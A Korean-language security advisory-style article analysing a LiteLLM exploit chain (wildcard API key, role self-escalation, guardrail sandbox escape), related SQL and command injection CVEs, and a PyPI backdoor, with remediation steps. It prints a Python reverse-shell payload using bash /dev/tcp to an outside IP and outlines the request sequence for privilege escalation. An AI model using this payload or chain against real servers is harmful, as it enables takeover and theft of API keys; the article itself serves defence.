✦ guniq 시각
AI 게이트웨이는 OpenAI·Anthropic·Google 등 수십 개 공급사의 API 키를 한 프로세스에 집중시킨다. LiteLLM 취약점 체인이 보여주는 건 단순한 소프트웨어 버그가 아니다 — 낮은 권한 계정 하나로 서버를 장악하면 연결된 모든 LLM 공급사의 크레딧과 고객 프롬프트 전체가 한꺼번에 노출된다. 내부망 격리, 기본 계정 정리, v1.83.14 이상 즉시 업그레이드, 그리고 연결된 API 키 전수 로테이션 — 이 네 가지가 AI 인프라를 운영하는 모든 팀에게 지금 당장 필요한 조치다.
▲ 이미지 출처: The Hacker News
2026년 상반기, AI 게이트웨이 오픈소스 프로젝트 LiteLLM에서 세 가지 취약점이 연쇄 작동하는 CVSS 9.9 익스플로잇 체인이 공개됐다. Obsidian Security 연구팀이 2월에 최초 보고하고, 6월 11일 공개 발표한 이번 연구는 “기본 저권한 계정 하나로 관리자 권한을 획득하고, 서버에서 임의 코드를 실행할 수 있다”는 사실을 실증했다. 문제는 LiteLLM이 OpenAI·Anthropic·Google·Amazon Bedrock·Azure 등 100개 이상의 AI 공급사 API 키를 단일 프록시 안에 집중시키는 아키텍처를 갖고 있다는 점이다. 서버 하나가 뚫리면 연결된 모든 LLM 공급사의 마스터 키, 솔트 키, 데이터베이스 URL, 그리고 통과하는 모든 프롬프트와 응답이 공격자 손에 넘어간다.
LiteLLM이란: 100개 공급사를 하나의 인터페이스로
LiteLLM은 OpenAI 호환 인터페이스 하나로 100개 이상의 AI 모델 공급사를 통합하는 오픈소스 AI 게이트웨이다. 기업 환경에서 AI 서비스 비용 관리, 부하 분산, 속도 제한(rate limiting), 사용량 모니터링 목적으로 광범위하게 배포되고 있다. 중소기업도 내부 개발팀이 OpenAI와 Anthropic 모델을 함께 쓸 때, 또는 다수의 LLM을 비교·전환하는 MLOps 파이프라인에서 LiteLLM 프록시 서버를 필수 인프라로 운영하는 사례가 늘고 있다. 바로 이 중심성이 공격 표면을 키운다. 일반 웹 서비스 침해와 달리, LiteLLM 서버 한 대의 침해는 그 서버에 연결된 모든 AI 공급사 계정의 동시 탈취를 의미한다.
세 CVE의 구조: 3번의 POST 요청으로 서버 장악
이번 취약점 체인은 CVE-2026-47101·CVE-2026-47102·CVE-2026-40217 세 가지로 구성된다. 공격자에게 필요한 것은 기본 생성되는 internal_user 권한 계정 하나뿐이다. Obsidian Security는 이 체인을 “동일 출처에서 초 단위로 연속되는 세 번의 POST 요청”으로 완성할 수 있다고 밝혔다.
1단계 — CVE-2026-47101 (CVSS 8.8): 와일드카드 API 키 생성. /key/generate 엔드포인트는 키를 생성할 때 allowed_routes 필드를 호출자의 역할에 맞게 필터링하지 않았다. _is_allowed_to_make_key_request() 함수는 user_id 일치 여부만 확인하고, 요청된 경로 권한은 전혀 검사하지 않는다. 공격자는 allowed_routes: ["/*"]를 담은 요청을 보내 관리자 전용 엔드포인트에 접근 가능한 와일드카드 키를 발급받는다. SecureLayer7 연구팀은 이를 두고 “코드가 allowed_routes를 제한 조건이 아닌 부여 조건으로 처리해, 공격자가 제공한 와일드카드를 검증 없이 그대로 저장한다”고 설명했다.
2단계 — CVE-2026-47102 (CVSS 8.8): 역할 자기 승격. 와일드카드 키로 /user/update 엔드포인트에 접근한 공격자는 user_role: "proxy_admin"을 자신의 계정에 적용한다. can_user_call_user_update() 함수는 자기 자신에 대한 업데이트를 허용하되 어떤 필드를 수정할 수 있는지 제한하는 필드 수준 인가(field-level authorization)를 구현하지 않았다. 이른바 ‘대량 할당(mass assignment)’ 취약점의 전형적 패턴이다. 이 단계가 완료되면 공격자는 완전한 관리자 권한을 갖게 된다.
3단계 — CVE-2026-40217 (CVSS 8.8): 가드레일 샌드박스 탈출 및 RCE. LiteLLM의 Custom Code Guardrail 기능은 관리자가 Python 코드를 직접 작성해 요청을 필터링하도록 설계됐다. 그런데 내부의 _compile_custom_code() 함수가 exec()에 globals 딕셔너리를 전달할 때 __builtins__ 키를 의도적으로 제거하고도 샌드박스가 작동한다고 잘못 가정했다. Python 인터프리터는 __builtins__가 없는 globals를 받으면 자동으로 전체 builtins 모듈을 주입한다. SecureLayer7는 “샌드박스는 처음부터 존재하지 않았다”고 표현했다. 공격자는 아래와 같은 페이로드로 즉각 역방향 셸(reverse shell)을 실행한다.
__builtins__['__import__']('os').system(
'bash -c "bash -i >& /dev/tcp/10.10.10.221/6666 0>&1"'
)
X41 D-Sec는 같은 취약점에 대해 독립적으로 정규식 우회 변종을 발견해 제보했다. 공격 페이로드는 가드레일 컴파일 시점에 즉시 실행되므로, 검사 단계에서 이미 서버가 장악된다.
공개 이전부터 시작된 익스플로잇: CVE-2026-42271과 CVE-2026-42208
이 3-CVE 체인 외에도 2026년 상반기 LiteLLM에서는 실제 공격에 악용된 추가 취약점이 두 가지 더 발견됐다.
CVE-2026-42271은 MCP(Model Context Protocol) 서버 테스트 엔드포인트(/mcp-rest/test/connection, /mcp-rest/test/tools/list)에서 발생한 커맨드 인젝션이다. 이 엔드포인트들은 stdio 구성을 받으면 공급된 명령어를 프록시 호스트의 서브프로세스로 실행했다. 영향받는 버전은 LiteLLM 1.74.2~1.83.6이며, v1.83.7에서 패치됐다. 나아가 Horizon3.ai는 이 취약점이 Starlette의 호스트 헤더 검증 우회 취약점(CVE-2026-48710)과 연쇄되면 인증 없이 원격 코드 실행이 가능하며 조합 CVSS 점수가 10.0에 달한다고 보고했다. CISA는 2026년 6월 8일 CVE-2026-42271을 KEV(Known Exploited Vulnerabilities) 카탈로그에 등재하고, 6월 22일까지 패치를 완료하도록 연방기관에 명령했다.
CVE-2026-42208은 CVSS 9.8의 프리-인증 SQL 인젝션이다. v1.81.16~1.83.6 버전의 토큰 검증 코드가 Python f-string으로 직접 SQL 쿼리를 조립했다. Sysdig의 연구에 따르면, 이 취약점의 GitHub Advisory가 공개된 지 36시간 이내에 실제 공격이 관측됐으며 공격자들은 litellm_credentials 테이블의 LLM 공급사 키 탈취를 주요 목표로 삼았다.
공급망 공격: PyPI 패키지 자체가 백도어가 된 3월 사건
2026년 3월 24일에는 코드 취약점이 아닌 공급망 경로를 통한 침해도 발생했다. 공격자(TeamPCP로 추정)는 Trivy 보안 스캐너의 pull_request_target 워크플로 취약점을 이용해 aqua-bot GitHub Actions 크레덴셜을 탈취했다. 이를 통해 Checkmarx KICS GitHub Actions를 다시 침해하고, 최종적으로 LiteLLM CI/CD의 PYPI_PUBLISH 토큰을 추출해 백도어가 삽입된 v1.82.7·v1.82.8 패키지를 PyPI에 게시했다.
악성 패키지는 Python 인터프리터 시작 시 자동 실행되는 .pth 파일 방식으로 환경변수, SSH 키, .env 파일, AWS·GCP·Azure 크레덴셜, Kubernetes 설정, 데이터베이스 크레덴셜을 수집해 AES-256-CBC와 RSA-4096으로 암호화 후 models.litellm[.]cloud로 외부 전송했다. 또한 sysmon.service라는 가짜 systemd 유닛으로 지속성을 확보하고, Kubernetes 환경에서는 권한 있는 파드(privileged pod)를 스폰했다. PyPI는 약 3시간 만에 해당 패키지를 격리했지만, 그 사이 Microsoft GraphRAG, Google ADK, DSPy, CrewAI, OpenHands가 악성 버전을 당겨간 것으로 확인됐다. .pth 백도어는 재시작 후에도 지속되므로, 해당 버전을 설치한 환경은 컨테이너를 처음부터 재빌드해야 한다.
공개 타임라인: 보고부터 패치까지 66일
Obsidian Security가 최초 보고(2026년 2월 19일)한 이후 v1.83.14-stable 완전 패치(4월 25일)까지 66일이 소요됐다. 구체적인 패치 경로는 다음과 같다. 2월 24일 가드레일 부분 패치(PR #22095), 3월 26일 GitHub 이슈 #22205 공개, 4월 9일 allowed_routes 제한 패치(PR #25445), 4월 10일 CVE-2026-40217 공개 및 역할 상승 수정(PR #25541), 4월 15일 RestrictedPython 라이브러리로 샌드박스 교체(PR #25818), 4월 22일 v1.83.10-stable 릴리스, 4월 25일 v1.83.14-stable 완전 패치 릴리스, 5월 20일 CVE-2026-47101·47102 VulnCheck 경유 정식 할당, 6월 11일 Obsidian Security 공개 발표 순이다. CVE-2026-47101과 CVE-2026-47102는 패치 후 약 25일이 지나서야 CVE 번호가 공식 할당됐다는 점에서, 패치 릴리스만을 보고 안심하고 업그레이드를 미룬 팀이 있었을 수 있다.
침해 시 실제 피해 범위: ‘맨 인 더 게이트웨이’ 공격
LiteLLM 프록시가 장악됐을 때 노출되는 자산의 범위는 일반적인 웹 서버 침해와 질적으로 다르다. 마스터 키와 솔트 키(저장된 크레덴셜 복호화용), 모든 LLM 공급사 API 키(OpenAI·Anthropic·Gemini·Bedrock·Azure), 데이터베이스 URL과 연결 정보, MCP 및 에이전트 OAuth 토큰, 그리고 프록시를 통과하는 모든 프롬프트와 응답(개인정보·기밀 포함)이 공격자에게 노출된다.
Obsidian Security는 특히 ‘맨 인 더 게이트웨이(Man-in-the-Gateway)’ 공격 가능성을 실증했다. 침해된 LiteLLM 프록시는 Claude Code·Cursor·Aider·Copilot Chat 등 다운스트림 AI 도구의 모든 요청과 응답을 실시간으로 열람·변조할 수 있다. 연구팀은 가드레일 컴파일 시점에 역방향 셸을 실행하는 방식으로 Claude Code 인스턴스에서 임의 명령어를 실행하는 시나리오를 시연했다. SecureLayer7은 이를 두고 “공격자의 인프로세스 콜백이 와이어를 통과하는 모든 모델 요청과 응답을 읽고 재작성할 수 있다”고 표현했다 — 원샷 페이로드 침해가 아니라 지속적 실시간 조작이 가능하다는 점에서 피해 심각도가 한 단계 더 높다.
중소기업·AI 인프라 운영팀을 위한 시사점
- 즉시 v1.83.14-stable 이상으로 업그레이드 — 2026년 7월 19일 기준 최신 안정 버전은 v1.93.0이다. CVE-2026-42271 패치는 v1.83.7, 전체 3-CVE 체인 패치는 v1.83.14 이상이 필요하다.
- Starlette 라이브러리도 1.0.1 이상으로 업데이트 — CVE-2026-48710(호스트 헤더 우회)이 Starlette ≤1.0.0에 존재하며, 이와 연쇄 시 인증 없는 RCE(CVSS 10.0)가 가능하다.
- 연결된 모든 API 키 즉시 로테이션 — 마스터 키, 솔트 키, 모든 LLM 공급사 API 키(OpenAI·Anthropic·Google·Bedrock·Azure), MCP·에이전트 OAuth 토큰, SSH 키, 클라우드 크레덴셜(AWS/GCP/Azure)을 포함한다.
- LiteLLM 프록시를 내부망에만 노출 — 공개 인터넷 직접 노출은 공격 표면을 극적으로 넓힌다. VPN 또는 내부 네트워크 세그먼트 안으로 격리할 것.
- 기본 계정 및 불필요한 internal_user 계정 전수 점검 — 이번 체인의 출발점은 최소 권한 계정 하나다. 불필요한 계정은 삭제하고 기본 비밀번호는 즉시 변경한다.
- PyPI 패키지 버전 확인 — v1.82.7·v1.82.8을 설치한 환경은 백도어
.pth파일이 재시작 후에도 지속되므로 컨테이너 이미지를 처음부터 재빌드해야 한다. - 접근 로그 및 이상 행동 검토 — 동일 출처에서
/key/generate→/user/update→/guardrails로 이어지는 초 단위 연속 요청 패턴은 이번 공격의 전형적 와이어 시그니처다.
출처: Obsidian Security (Breaking LiteLLM) | The Hacker News | The Hacker News (CVE-2026-42271) | danilchenko.dev | SecureLayer7 | GHSA-qrc4-49gv-mv9m | GHSA-wpfp-gwwc-vwq6 | GHSA-wxxx-gvqv-xp7p | GHSA-v4p8-mg3p-g94g | 최초 보고: Obsidian Security | 패치 완료: 2026-04-25 (v1.83.14-stable)